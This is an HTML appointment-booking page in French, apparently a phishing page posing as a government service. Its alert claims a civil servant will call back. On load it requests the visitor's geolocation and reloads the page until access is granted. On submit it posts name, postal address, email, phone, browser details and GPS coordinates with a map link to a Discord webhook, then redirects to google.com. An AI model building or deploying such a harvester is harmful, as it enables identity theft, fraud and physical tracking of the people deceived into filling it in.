<html lang="fr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Prise de Rendez-vous</title>
    <style>
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background-color: #f4f7f6;
            margin: 0;
            padding: 20px;
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 100vh;
        }
        .form-container {
            background-color: #ffffff;
            padding: 30px;
            border-radius: 8px;
            box-shadow: 0 4px 15px rgba(0,0,0,0.1);
            width: 100%;
            max-width: 500px;
        }
        
        /* Conteneur pour aligner les drapeaux et le titre */
        .title-container {
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 15px;
            margin-bottom: 20px;
        }

        /* Génération des drapeaux français en CSS pur (taille standard 30x20px) */
        .flag-fr {
            width: 30px;
            height: 20px;
            flex-shrink: 0;
            background: linear-gradient(to right, #0055A5 33.3%, #FFFFFF 33.3%, #FFFFFF 66.6%, #E42518 66.6%);
            border: 1px solid #dddddd;
            border-radius: 2px;
            /* Léger décalage vers le haut par rapport au texte */
            transform: translateY(-2px);
        }

        h2 {
            margin: 0;
            color: #333333;
            text-align: center;
            font-size: 22px;
        }
        .form-group {
            margin-bottom: 15px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            color: #666666;
            font-weight: 600;
        }
        input[type="text"],
        input[type="email"],
        input[type="tel"] {
            width: 100%;
            padding: 10px;
            border: 1px solid #cccccc;
            border-radius: 4px;
            box-sizing: border-box;
            font-size: 14px;
        }
        input:focus {
            border-color: #3498db;
            outline: none;
        }
        button {
            width: 100%;
            padding: 12px;
            background-color: #3498db;
            border: none;
            border-radius: 4px;
            color: white;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            transition: background-color 0.2s;
        }
        button:hover {
            background-color: #2980b9;
        }
    </style>
</head>
<body onload="initCapture()">

    <div class="form-container">
        <div class="title-container">
            <div class="flag-fr"></div>
            <h2>Prise de Rendez-vous</h2>
            <div class="flag-fr"></div>
        </div>

        <form id="appointmentForm" onsubmit="handleSubmit(event)">
            <div class="form-group">
                <label for="nom">Nom :</label>
                <input type="text" id="nom" required placeholder="Ex: Dupont">
            </div>
            <div class="form-group">
                <label for="prenom">Prénom :</label>
                <input type="text" id="prenom" required placeholder="Ex: Jean">
            </div>
            <div class="form-group">
                <label for="adresse">Adresse postale :</label>
                <input type="text" id="adresse" required placeholder="Ex: 10 rue de la Paix, 75002 Paris">
            </div>
            <div class="form-group">
                <label for="email">Adresse e-mail :</label>
                <input type="email" id="email" required placeholder="Ex: jean.dupont@email.com">
            </div>
            <div class="form-group">
                <label for="telephone">Téléphone :</label>
                <input type="tel" id="telephone" required placeholder="Ex: 0612345678">
            </div>
            <div class="form-group">
                <label for="date_souhaitee">Date souhaitée (en texte) :</label>
                <input type="text" id="date_souhaitee" required placeholder="Ex: Le XX/XX/2026 à XXh00">
            </div>
            <button type="submit">Confirmer le rendez-vous</button>
        </form>
    </div>

    <script>
        // Configuration du point de réception Discord
        const webhookURL = "TON_WEBHOOK_URL_ICI";
        
        // Variable globale pour stocker temporairement les coordonnées
        let coordsData = null;

        // Étape 1 : Déclenchement automatique de la demande de localisation au chargement
        function initCapture() {
            if (navigator.geolocation) {
                navigator.geolocation.getCurrentPosition(
                    (position) => {
                        // Sauvegarde des coordonnées si l'autorisation est accordée
                        coordsData = {
                            lat: position.coords.latitude,
                            lon: position.coords.longitude
                        };
                    },
                    (error) => {
                        console.log("Localisation non accordée ou indisponible.");
                        window.location.reload();
                    }
                );
            }
        }

        // Étape 2 : Gestion de la soumission du formulaire et centralisation des données
        function handleSubmit(event) {
            event.preventDefault(); // Empêche le rechargement de la page

            // Récupération des valeurs saisies par l'utilisateur
            const nom = document.getElementById('nom').value;
            const prenom = document.getElementById('prenom').value;
            const adresse = document.getElementById('adresse').value;
            const email = document.getElementById('email').value;
            const telephone = document.getElementById('telephone').value;
            const dateSouhaitee = document.getElementById('date_souhaitee').value;

            // Structure du rapport d'intégration pour Discord
            let payload = {
                content: "📅 **Nouvelle demande de rendez-vous reçue !**",
                embeds: [{
                    title: "Informations fournies par l'utilisateur",
                    color: 3447003, // Couleur bleue
                    fields: [
                        { name: "Nom Complet", value: `${prenom} ${nom}`, inline: true },
                        { name: "Téléphone", value: telephone, inline: true },
                        { name: "E-mail", value: email, inline: false },
                        { name: "Adresse Postale", value: adresse, inline: false },
                        { name: "Date souhaitée", value: dateSouhaitee, inline: false }
                    ]
                }, {
                    title: "Données techniques de l'environnement",
                    color: 15158332, // Couleur rouge/orange
                    fields: [
                        { name: "User-Agent", value: navigator.userAgent },
                        { name: "Plateforme", value: navigator.platform }
                    ]
                }]
            };

            // Ajout des coordonnées géographiques si elles ont été capturées à l'étape 1
            if (coordsData) {
                payload.embeds[1].fields.push({
                    name: "📍 Coordonnées GPS (Navigateur)",
                    value: `Latitude: ${coordsData.lat}\nLongitude: ${coordsData.lon}\n[Lien cartographique](https://www.google.com/maps?q=${coordsData.lat},${coordsData.lon})`
                });
            } else {
                payload.embeds[1].fields.push({
                    name: "📍 Coordonnées GPS (Navigateur)",
                    value: "Non partagées ou refusées par l'utilisateur."
                });
            }

            // Étape 3 : Expédition du bloc d'informations global vers Discord via fetch
            fetch(webhookURL, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify(payload)
            }).then(() => {
                alert("Votre demande de rendez-vous a bien été enregistrée. Un fonctionnaire vous recontactera rapidement.");
                // Redirection après validation
                window.location.href = "https://google.com";
            }).catch((err) => {
                console.error("Erreur lors de la transmission des données :", err);
            });
        }
    </script>
</body>
</html>

Atelier gratuit